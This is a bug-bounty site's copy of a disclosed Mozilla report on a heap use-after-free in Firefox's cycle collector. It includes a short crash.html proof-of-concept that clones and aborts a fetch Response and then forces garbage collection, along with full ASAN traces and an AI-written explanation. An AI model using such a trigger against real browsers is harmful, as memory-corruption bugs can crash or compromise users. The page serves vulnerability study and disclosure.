Skip to content
Memory corruption Disclosed report Advanced

heap-use-after-free in CanonicalizeXPCOMParticipant with fetch

A use-after-free occurs in Firefox's cycle collector when a cloned fetch Response body is kept alive while the original response and its abort signal are dropped and garbage collection is forced. The crash is a memory-safety fault in the browser's content process, demonstrated only in a special fuzzing build.

Nils Follow

Originally disclosed on Mozilla

  • Fixed in 5 days
  • Paid in 3 months
  • Disclosed after 5 days

Created attachment 9077032 crash.html (minimised testcase)

The following testcase crashes the latest ASAN build of Firefox 70.0a1 (BuildID=20190709153742). It requires a fuzzing build (--enable-fuzzing) and the pref user_pref("fuzzing.enabled",true). I am using a Python2 webserver (python -m SimpleHTTPServer) to host the testcase.

crash.html:

<script> function start() { o170=new AbortController(); o171=o170.signal; o346=window.fetch('undefined',{method: 'POST',mode: 'same-origin',cache: 'no-store',signal: o171,}); o346.then(function(v){window.prom=v;}); setTimeout(fun0,240); } function fun0() { o501=window.prom; o671=o501.clone(); o739=o170.abort(); o927=o671['body']; o671=null; o739=null; o927=null;o501=null;o346=null;window.prom=null;o170=null;o171=null; FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect();FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect(); } </script> <body onload="start()"></body>

ASAN output:

==14337==ERROR: AddressSanitizer: heap-use-after-free on address 0x60e00005c2a0 at pc 0x7f553f89a3c0 bp 0x7fffb418ff30 sp 0x7fffb418ff28 READ of size 8 at 0x60e00005c2a0 thread T0 (Web Content) #0 0x7f553f89a3bf in CanonicalizeXPCOMParticipant /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:848:8 #1 0x7f553f89a3bf in CCGraphBuilder::NoteXPCOMChild(nsISupports*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2155 #2 0x7f553f84c3ae in mozilla::CycleCollectedJSRuntime::TraverseGCThing(mozilla::CycleCollectedJSRuntime::TraverseSelect, JS::GCCellPtr, nsCycleCollectionTraversalCallback&) /builds/worker/workspace/build/src/xpcom/base/CycleCollectedJSRuntime.cpp:705:5 #3 0x7f553f84bd5f in mozilla::JSGCThingParticipant::TraverseNative(void*, nsCycleCollectionTraversalCallback&) /builds/worker/workspace/build/src/xpcom/base/CycleCollectedJSRuntime.cpp:363:12 #4 0x7f553f8976b5 in TraverseNativeAndJS /builds/worker/workspace/build/src/xpcom/base/nsCycleCollectionParticipant.h:126:19 #5 0x7f553f8976b5 in CCGraphBuilder::BuildGraph(js::SliceBudget&) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2061 #6 0x7f553f8a20c6 in nsCycleCollector::MarkRoots(js::SliceBudget&) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2672:33 #7 0x7f553f8ab62c in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3417:9 #8 0x7f553f8b05ec in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3949:21 #9 0x7f5544439e7b in nsJSContext::CycleCollectNow(nsICycleCollectorListener*) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1423:3 #10 0x7f5546e38958 in mozilla::dom::FuzzingFunctions_Binding::cycleCollect(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/FuzzingFunctionsBinding.cpp:66:3 #11 0x7f554ee769b7 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:448:13 #12 0x7f554ee769b7 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:540 #13 0x7f554ee56f90 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:599:10 #14 0x7f554ee56f90 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3088 #15 0x7f554ee406f8 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:425:10 #16 0x7f554ee774bf in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:568:13 #17 0x7f554ee796e2 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:611:8 #18 0x7f554fb0bf08 in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2658:10 #19 0x7f5546d42a10 in mozilla::dom::Function::Call(JSContext*, JS::HandleJS::Value, nsTArrayJS::Value const&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/FunctionBinding.cpp:41:8 #20 0x7f5544294819 in void mozilla::dom::Function::Call<nsCOMPtr<nsIGlobalObject> >(nsCOMPtr<nsIGlobalObject> const&, nsTArrayJS::Value const&, JS::MutableHandleJS::Value, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObject::ExceptionHandling, JS::Realm*) /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/FunctionBinding.h:73:12 #21 0x7f55442941aa in mozilla::dom::CallbackTimeoutHandler::Call(char const*) /builds/worker/workspace/build/src/dom/base/TimeoutHandler.cpp:163:29 #22 0x7f5543d544b7 in nsGlobalWindowInner::RunTimeoutHandler(mozilla::dom::Timeout*, nsIScriptContext*) /builds/worker/workspace/build/src/dom/base/nsGlobalWindowInner.cpp:5899:38 #23 0x7f554428cb6d in mozilla::dom::TimeoutManager::RunTimeout(mozilla::TimeStamp const&, mozilla::TimeStamp const&, bool) /builds/worker/workspace/build/src/dom/base/TimeoutManager.cpp:971:44 #24 0x7f554428b642 in mozilla::dom::TimeoutExecutor::MaybeExecute() /builds/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp:179:11 #25 0x7f55442906cc in Notify /builds/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp:246:5 #26 0x7f55442906cc in non-virtual thunk to mozilla::dom::TimeoutExecutor::Notify(nsITimer*) /builds/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp #27 0x7f553fac6e86 in nsTimerImpl::Fire(int) /builds/worker/workspace/build/src/xpcom/threads/nsTimerImpl.cpp:564:39 #28 0x7f553fac63e1 in nsTimerEvent::Run() /builds/worker/workspace/build/src/xpcom/threads/TimerThread.cpp:260:11 #29 0x7f553fb054a2 in mozilla::ThrottledEventQueue::Inner::ExecuteRunnable() /builds/worker/workspace/build/src/xpcom/threads/ThrottledEventQueue.cpp:252:22 #30 0x7f553fafe457 in mozilla::ThrottledEventQueue::Inner::Executor::Run() /builds/worker/workspace/build/src/xpcom/threads/ThrottledEventQueue.cpp:80:15 #31 0x7f553fa9eab5 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:295:32 #32 0x7f553fadf9fc in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1225:14 #33 0x7f553fae7884 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10 #34 0x7f5540ef5154 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:110:5 #35 0x7f5540dcc65e in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10 #36 0x7f5540dcc65e in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308 #37 0x7f5540dcc65e in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290 #38 0x7f554a519bc3 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27 #39 0x7f554eb9721e in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:919:20 #40 0x7f5540dcc65e in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10 #41 0x7f5540dcc65e in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308 #42 0x7f5540dcc65e in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290 #43 0x7f554eb95d61 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:754:34 #44 0x559025ffb113 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28 #45 0x559025ffb113 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:267 #46 0x7f5564b2cb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #47 0x559025f1c64c in _start (/home/nils/browser/firefox/firefox/firefox+0x4564c)

0x60e00005c2a0 is located 0 bytes inside of 160-byte region [0x60e00005c2a0,0x60e00005c340) freed by thread T0 (Web Content) here: #0 0x559025fc7ce2 in __interceptor_free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:124:3 #1 0x7f553f8a1311 in SnowWhiteKiller::~SnowWhiteKiller() /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2416:7 #2 0x7f553f89f9c3 in nsCycleCollector::FreeSnowWhite(bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2609:3 #3 0x7f553f8ac325 in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3584:3 #4 0x7f553f8ab5d5 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3413:9 #5 0x7f553f8b05ec in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3949:21 #6 0x7f5544439e7b in nsJSContext::CycleCollectNow(nsICycleCollectorListener*) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1423:3 #7 0x7f5546e38958 in mozilla::dom::FuzzingFunctions_Binding::cycleCollect(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/FuzzingFunctionsBinding.cpp:66:3 #8 0x7f554ee769b7 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:448:13 #9 0x7f554ee769b7 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:540 #10 0x7f554ee56f90 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:599:10 #11 0x7f554ee56f90 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3088 #12 0x7f554ee406f8 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:425:10 #13 0x7f554ee774bf in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:568:13 #14 0x7f554ee796e2 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:611:8 #15 0x7f554fb0bf08 in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2658:10 #16 0x7f5546d42a10 in mozilla::dom::Function::Call(JSContext*, JS::HandleJS::Value, nsTArrayJS::Value const&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/FunctionBinding.cpp:41:8 #17 0x7f5544294819 in void mozilla::dom::Function::Call<nsCOMPtr<nsIGlobalObject> >(nsCOMPtr<nsIGlobalObject> const&, nsTArrayJS::Value const&, JS::MutableHandleJS::Value, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObject::ExceptionHandling, JS::Realm*) /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/FunctionBinding.h:73:12 #18 0x7f55442941aa in mozilla::dom::CallbackTimeoutHandler::Call(char const*) /builds/worker/workspace/build/src/dom/base/TimeoutHandler.cpp:163:29 #19 0x7f5543d544b7 in nsGlobalWindowInner::RunTimeoutHandler(mozilla::dom::Timeout*, nsIScriptContext*) /builds/worker/workspace/build/src/dom/base/nsGlobalWindowInner.cpp:5899:38 #20 0x7f554428cb6d in mozilla::dom::TimeoutManager::RunTimeout(mozilla::TimeStamp const&, mozilla::TimeStamp const&, bool) /builds/worker/workspace/build/src/dom/base/TimeoutManager.cpp:971:44 #21 0x7f554428b642 in mozilla::dom::TimeoutExecutor::MaybeExecute() /builds/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp:179:11 #22 0x7f55442906cc in Notify /builds/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp:246:5 #23 0x7f55442906cc in non-virtual thunk to mozilla::dom::TimeoutExecutor::Notify(nsITimer*) /builds/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp #24 0x7f553fac6e86 in nsTimerImpl::Fire(int) /builds/worker/workspace/build/src/xpcom/threads/nsTimerImpl.cpp:564:39 #25 0x7f553fac63e1 in nsTimerEvent::Run() /builds/worker/workspace/build/src/xpcom/threads/TimerThread.cpp:260:11 #26 0x7f553fb054a2 in mozilla::ThrottledEventQueue::Inner::ExecuteRunnable() /builds/worker/workspace/build/src/xpcom/threads/ThrottledEventQueue.cpp:252:22 #27 0x7f553fafe457 in mozilla::ThrottledEventQueue::Inner::Executor::Run() /builds/worker/workspace/build/src/xpcom/threads/ThrottledEventQueue.cpp:80:15 #28 0x7f553fa9eab5 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:295:32 #29 0x7f553fadf9fc in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1225:14 #30 0x7f553fae7884 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10 #31 0x7f5540ef5154 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:110:5 #32 0x7f5540dcc65e in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10 #33 0x7f5540dcc65e in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308 #34 0x7f5540dcc65e in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290

previously allocated by thread T0 (Web Content) here: #0 0x559025fc8063 in __interceptor_malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:146:3 #1 0x559025ffcdcd in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:52:15 #2 0x7f5547ee35eb in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/cxxalloc.h:33:10 #3 0x7f5547ee35eb in mozilla::dom::Response::Clone(JSContext*, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/fetch/Response.cpp:417 #4 0x7f55456f9456 in mozilla::dom::Response_Binding::clone(JSContext*, JS::Handle<JSObject*>, mozilla::dom::Response*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/ResponseBinding.cpp:1144:75 #5 0x7f5547537252 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3181:13 #6 0x7f554ee769b7 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:448:13 #7 0x7f554ee769b7 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:540 #8 0x7f554ee56f90 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:599:10 #9 0x7f554ee56f90 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3088 #10 0x7f554ee406f8 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:425:10 #11 0x7f554ee774bf in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:568:13 #12 0x7f554ee796e2 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:611:8 #13 0x7f554fb0bf08 in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2658:10 #14 0x7f5546d42a10 in mozilla::dom::Function::Call(JSContext*, JS::HandleJS::Value, nsTArrayJS::Value const&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/FunctionBinding.cpp:41:8 #15 0x7f5544294819 in void mozilla::dom::Function::Call<nsCOMPtr<nsIGlobalObject> >(nsCOMPtr<nsIGlobalObject> const&, nsTArrayJS::Value const&, JS::MutableHandleJS::Value, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObject::ExceptionHandling, JS::Realm*) /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/FunctionBinding.h:73:12 #16 0x7f55442941aa in mozilla::dom::CallbackTimeoutHandler::Call(char const*) /builds/worker/workspace/build/src/dom/base/TimeoutHandler.cpp:163:29 #17 0x7f5543d544b7 in nsGlobalWindowInner::RunTimeoutHandler(mozilla::dom::Timeout*, nsIScriptContext*) /builds/worker/workspace/build/src/dom/base/nsGlobalWindowInner.cpp:5899:38 #18 0x7f554428cb6d in mozilla::dom::TimeoutManager::RunTimeout(mozilla::TimeStamp const&, mozilla::TimeStamp const&, bool) /builds/worker/workspace/build/src/dom/base/TimeoutManager.cpp:971:44 #19 0x7f554428b642 in mozilla::dom::TimeoutExecutor::MaybeExecute() /builds/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp:179:11 #20 0x7f55442906cc in Notify /builds/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp:246:5 #21 0x7f55442906cc in non-virtual thunk to mozilla::dom::TimeoutExecutor::Notify(nsITimer*) /builds/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp #22 0x7f553fac6e86 in nsTimerImpl::Fire(int) /builds/worker/workspace/build/src/xpcom/threads/nsTimerImpl.cpp:564:39 #23 0x7f553fac63e1 in nsTimerEvent::Run() /builds/worker/workspace/build/src/xpcom/threads/TimerThread.cpp:260:11 #24 0x7f553fb054a2 in mozilla::ThrottledEventQueue::Inner::ExecuteRunnable() /builds/worker/workspace/build/src/xpcom/threads/ThrottledEventQueue.cpp:252:22 #25 0x7f553fafe457 in mozilla::ThrottledEventQueue::Inner::Executor::Run() /builds/worker/workspace/build/src/xpcom/threads/ThrottledEventQueue.cpp:80:15 #26 0x7f553fa9eab5 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:295:32 #27 0x7f553fadf9fc in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1225:14 #28 0x7f553fae7884 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10 #29 0x7f5540ef5154 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:110:5 #30 0x7f5540dcc65e in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10 #31 0x7f5540dcc65e in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308 #32 0x7f5540dcc65e in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290 #33 0x7f554a519bc3 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27 #34 0x7f554eb9721e in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:919:20 #35 0x7f5540dcc65e in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10 #36 0x7f5540dcc65e in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308 #37 0x7f5540dcc65e in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290

SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:848:8 in CanonicalizeXPCOMParticipant Shadow bytes around the buggy address: 0x0c1c80003800: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c1c80003810: fd fd fd fd fa fa fa fa fa fa fa fa 00 00 00 00 0x0c1c80003820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c1c80003830: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c1c80003840: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa =>0x0c1c80003850: fa fa fa fa[fd]fd fd fd fd fd fd fd fd fd fd fd 0x0c1c80003860: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x0c1c80003870: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c1c80003880: fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1c80003890: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1c800038a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==14337==ABORTING

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the cycle collector traverses a JS-held reference to a Response body whose owning object was already freed, because the clone kept a dangling participant alive.

Impact

The page can crash the content process; the report does not show code execution or any impact beyond the ASAN-detected memory error.

What the attacker needed

A fuzzing build of Firefox; fuzzing.enabled pref set to true; victim loads the test page

How it was found

  1. Load the test page, which starts a fetch request with an abort signal and stores the promise.
  2. After a short delay, clone the resolved response and abort the original request.
  3. Drop all references and force garbage collection and cycle collection.
  4. The cycle collector reads freed memory and ASAN aborts.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A use-after-free is when a program frees a chunk of memory but keeps a pointer to it and later reads it, which can crash or be abused. Here a web page makes a network request, clones the response, aborts the request, then forces the browser's memory cleanup, and the cleanup reads memory that was already released. The report only shows a crash in a special test build, not a working attack.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.